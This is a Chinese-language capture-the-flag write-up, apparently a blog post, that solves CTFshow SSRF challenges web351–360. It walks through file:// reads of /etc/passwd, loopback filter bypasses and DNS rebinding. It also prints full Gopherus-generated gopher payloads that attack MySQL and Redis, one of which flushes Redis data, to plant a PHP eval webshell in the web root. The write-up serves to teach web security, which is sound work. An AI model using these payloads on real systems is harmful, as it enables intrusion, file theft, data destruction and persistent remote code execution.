CTFshow SSRF

CTFshow SSRF

前言

简介

服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

危害

SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。

利用方式

以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:

curl -vvv 'dict://127.0.0.1:6379/info'

curl -vvv 'file:///etc/passwd'

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有

file_get_contents()fsockopen()​、curl_exec()​ 等。

web351-无过滤

没有什么过滤,尝试读一下文件

url=file:///etc/passwd

发现可以读取成功,读取/var/www/html/index.php

url=file:///var/www/html/flag.php

右键查看源代码,发现读取成功,接着读取/var/www/html/flag.php

url=file:///var/www/html/flag.php

得到flag.php源码

<?php
$flag="ctfshow{1afd5e8d-ba15-46ec-9014-ae8cd2efe463}";
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
		echo $flag;
}
else{
		die("非本地用户禁止访问");
}
?>

或者我们直接访问url=http://127.0.0.1/flag.php​也可以得到flag

web352-过滤localhost和127.0.0.1和url的[scheme]

题目要求url带有http或者https

$x=parse_url($url);​解析 URL,返回其组成部分

如果省略了 component​ 参数,将返回关联数组 array。至少会有一个元素出现在数组中。数组中可能的键有以下几种:

 scheme——如 http
 host
 port
 user
 pass
 path
 query——在问号 `?` 之后
 fragment——在注释符号 `#` 之后

对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

IP地址进制转换

例如192.168.0.1这个IP地址可以被改写成

八进制:0177.000.000.001
十进制:127.0.0.1
十六进制:0x7f000001

本地回环的其他表现形式

127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):
http://127.0.0.1 
http://localhost 
http://127.255.255.254 
127.0.0.1 - 127.255.255.254 
http://[::1] 
http://[::ffff:7f00:1] 
http://[::ffff:127.0.0.1] 
http://127.1 
http://127.0.1 
http://0:80
http://sudo.cc
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

Payload:

url=http://0177.000.000.001/flag.php
url=http://127.0.1/flag.php
url=http://127.1/flag.php
省略…………

web353-过滤++

Payload:

url=http://127.1/flag.php

web354-过滤+++

过滤了0和1

Payload:

url=http://sudo.cc/flag.php

或者自己买个域名改一下A记录,使自己的域名DNS解析为127.0.0.1也可以绕过

web355-过滤++++

要求host长度小于等于5

Payload:

url=http://127.1/flag.php

host指的是127.1的长度,正好为5

web356-过滤+++++

要求host长度小于等于3

直接上长度为1的,嘿嘿

url=http://0/flag.php
url=http://0.0/flag.php

web357-DNS重绑定漏洞

filter_var() 函数通过指定的过滤器过滤一个变量。

如果成功,则返回被过滤的数据。如果失败,则返回 FALSE。

语法

filter_var(variable, filter, options)
variable	必需。规定要过滤的变量。
filter	可选。规定要使用的过滤器的 ID。默认是 FILTER_SANITIZE_STRING。参见 完整的 PHP Filter 参考手册,查看可能的过滤器。
过滤器 ID 可以是 ID 名称(比如 FILTER_VALIDATE_EMAIL)或 ID 号(比如 274)。
options	可选。规定一个包含标志/选项的关联数组或者一个单一的标志/选项。检查每个过滤器可能的标志和选项。
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)。
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)。
FILTER_FLAG_NO_PRIV_RANGE - 要求值不在 RFC 指定的私有范围 IP 内(比如 192.168.0.1)。
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

题目有以下要求

1.有效的ip

2.非私有IP,意思是不能是127.0.0.1之类的私有IP或者要求值不在保留的 IP 范围内

DNS重绑定漏洞

在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

这是一个测试dns重绑定漏洞的网站,可以让一个域名随机的绑定两个IP https://​**lock.cmpxchg8b.com/rebi**

image

Payload:

多试几次就出来了

url=http://7ce07023.7f000001.rbndr.us/flag.php

​​

web358-url完整格式

$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

Payload:

ctf.​代表username,密码为空

url=http://ctf.@localhost/flag.php?show
url=http://ctf.@localhost/flag.php#show

parse_url()​ 例子

<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url));
var_dump(parse_url($url, PHP_URL_SCHEME));
var_dump(parse_url($url, PHP_URL_USER));
var_dump(parse_url($url, PHP_URL_PASS));
var_dump(parse_url($url, PHP_URL_HOST));
var_dump(parse_url($url, PHP_URL_PORT));
var_dump(parse_url($url, PHP_URL_PATH));
var_dump(parse_url($url, PHP_URL_QUERY));
var_dump(parse_url($url, PHP_URL_FRAGMENT));
?>

以上例程会输出:

array(8) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(8) "hostname"
  ["port"]=>
  int(9090)
  ["user"]=>
  string(8) "username"
  ["pass"]=>
  string(8) "password"
  ["path"]=>
  string(5) "/path"
  ["query"]=>
  string(9) "arg=value"
  ["fragment"]=>
  string(6) "anchor"
}
string(4) "http"
string(8) "username"
string(8) "password"
string(8) "hostname"
int(9090)
string(5) "/path"
string(9) "arg=value"
string(6) "anchor"

web359-gopher协议打mysql

抓包发现returl,可能存在ssrfimage

MySQL认证过程

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本题利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

gophar协议

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

格式:

gopher://<host>:<port>/<gopher-path>

下载:

git clone https://github.com/tarunkant/Gopherus.git

使用:

python2 gopherus.py --exploit mysql

这个脚本好像只能在python2下使用,记得更换python版本

Give MySQL username: root
Give query to execute: select "<?php eval($_POST[1]);?>" into outfile '/var/www/html/2.php'

执行的sql语句是往服务器写入php一句话木马

记得把_​后面的内容url编码一次,后端 curl 接收到参数后会默认解码一次

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%01%00%00%00%01

image

web360-gophar协议打redis

利用条件:

能未授权或者能通过弱口令认证访问到Redis服务器

我们可以用dict协议来检测是否存在redis

dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。这个协议应该是基于 tcp 协议开发的。

所以像 mysql 、redis的服务,因为也是基于 tcp 协议开发,所以用 dict 协议的方式打开也能强行读取一些 mysql 、redis服务的返回内容

url=dict://127.0.0.1:6379
//返回内容
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP +OK

Payload:

python2 gopherus.py --exploit redis

What do you want?? (ReverseShell/PHPShell): phpshell
Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[1]);?>

-​后面的内容别忘记url编码

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

我们访问shell.php就可以了

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值